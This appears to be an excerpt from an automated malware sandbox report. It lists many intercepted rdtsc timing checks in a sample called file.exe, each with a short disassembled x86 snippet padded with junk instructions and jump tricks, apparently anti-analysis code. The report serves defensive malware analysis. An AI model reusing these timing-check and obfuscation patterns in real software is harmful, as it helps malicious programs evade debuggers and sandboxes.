Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1010EA8 second address: 1010EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1010EAD second address: 1010EBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD18CB1866Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10114A8 second address: 10114AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1009F3C second address: 1009FAF instructions: 0x00000000 rdtsc 0x00000002 js 00007FD18CB18668h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FD18CB18670h 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D1967h], edi 0x00000019 push dword ptr fs:[00000000h] 0x00000020 clc 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov eax, dword ptr [ebp+122D006Dh] 0x0000002e sub ebx, dword ptr [ebp+1244ECB8h] 0x00000034 push FFFFFFFFh 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007FD18CB18668h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 add dword ptr [ebp+122D3931h], esi 0x00000056 nop 0x00000057 jg 00007FD18CB18674h 0x0000005d push eax 0x0000005e push edx 0x0000005f push edx 0x00000060 pop edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DF20 second address: 100DF24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DF24 second address: 100DF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10165DE second address: 10165E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DF2A second address: 100DF30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10165E2 second address: 1016629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bl, FBh 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FD18CD363B8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD18CD363C0h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10187A3 second address: 10187AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10187AF second address: 10187B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10187B5 second address: 10187B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1012767 second address: 101276D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015728 second address: 101572C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1015830 second address: 1015834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10167C1 second address: 10167CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD18CB18666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10167CB second address: 10167E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10178A6 second address: 10178CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD18CB18676h 0x00000008 jno 00007FD18CB18666h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10178CE second address: 10178D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101E490 second address: 101E49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101E49D second address: 101E4A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101E4A1 second address: 101E4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD18CB18666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d je 00007FD18CB18666h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102099E second address: 10209D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD18CD363C9h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB5CF6 second address: FB5CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB5CFA second address: FB5CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB5CFE second address: FB5D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB5D09 second address: FB5D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1023BBE second address: 1023BD2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007FD18CB18666h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1023D2D second address: 1023D32 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1023D32 second address: 1023D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1023D38 second address: 1023D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jns 00007FD18CD363B8h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007FD18CD363B6h 0x00000018 jp 00007FD18CD363B6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1029275 second address: 1029289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD18CB1866Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1029289 second address: 10292C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop esi 0x0000000d push esi 0x0000000e jmp 00007FD18CD363C3h 0x00000013 pop esi 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007FD18CD363BEh 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10292C6 second address: 10292CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10292CC second address: 10292D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10292D2 second address: 10292D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10292D6 second address: 10292F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD18CD363C4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10293CF second address: 10293D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10293D3 second address: 10293E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007FD18CD363B8h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10293E7 second address: 1029405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007FD18CB1866Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102CD59 second address: 102CD63 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD18CD363B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D2D8 second address: 102D302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18678h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jp 00007FD18CB18666h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D744 second address: 102D749 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D88F second address: 102D897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D897 second address: 102D89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D9B7 second address: 102D9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D9BB second address: 102D9C5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102DB77 second address: 102DB7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102DB7D second address: 102DB81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102DB81 second address: 102DB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD18CB18666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FD18CB18666h 0x00000014 jo 00007FD18CB18666h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102DB9B second address: 102DBA1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102DBA1 second address: 102DBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102DCE5 second address: 102DCF5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007FD18CD363B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBFDC1 second address: FBFDC7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBFDC7 second address: FBFDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBFDD3 second address: FBFDD9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBFDD9 second address: FBFE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FD18CD363B8h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FD18CD363C3h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103239A second address: 10323A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007FD18CB18666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10323A6 second address: 10323CD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007FD18CD363B6h 0x00000009 je 00007FD18CD363B6h 0x0000000f pop esi 0x00000010 push ecx 0x00000011 jmp 00007FD18CD363C4h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032546 second address: 103254C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103254C second address: 1032578 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD18CD363C1h 0x00000008 jmp 00007FD18CD363BDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007FD18CD363E0h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032578 second address: 103257E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103257E second address: 1032591 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jns 00007FD18CD363B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032591 second address: 1032597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1031F73 second address: 1031F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD18CD363C4h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FD18CD363B6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032E66 second address: 1032E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032E6A second address: 1032ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CD363C7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FD18CD363BAh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FD18CD363C4h 0x0000001a push ebx 0x0000001b jmp 00007FD18CD363BAh 0x00000020 pop ebx 0x00000021 popad 0x00000022 pushad 0x00000023 jo 00007FD18CD363CFh 0x00000029 push edx 0x0000002a pop edx 0x0000002b jmp 00007FD18CD363C7h 0x00000030 push eax 0x00000031 push edx 0x00000032 push ebx 0x00000033 pop ebx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032ED6 second address: 1032EE3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10044A0 second address: 10044A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100490B second address: 100490F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100490F second address: 1004913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004913 second address: 100492C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD18CB18671h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10049E6 second address: 10049EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10049EB second address: 1004A5B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD18CB1866Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 5C2C8D49h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FD18CB18668h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dword ptr [ebp+124751CFh], esi 0x00000031 jmp 00007FD18CB1866Ch 0x00000036 call 00007FD18CB18669h 0x0000003b jmp 00007FD18CB18678h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push esi 0x00000044 push ecx 0x00000045 pop ecx 0x00000046 pop esi 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004C1A second address: 1004C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004C1E second address: 1004C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004C24 second address: 1004C3A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 mov ecx, eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f jne 00007FD18CD363B6h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004C3A second address: 1004C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004C40 second address: 1004C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004DD0 second address: 1004DDE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FD18CB18666h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1004DDE second address: 1004DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB76C6 second address: FB76E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD18CB18678h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10370F2 second address: 1037101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103751F second address: 1037525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103768F second address: 10376B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10376B1 second address: 10376B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103A7D7 second address: 103A7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD18CD363B6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jng 00007FD18CD363B6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10402DC second address: 10402E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10402E0 second address: 10402E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10402E9 second address: 10402FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FD18CB18666h 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10402FE second address: 1040303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103EC55 second address: 103EC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD18CB18671h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F208 second address: 103F211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
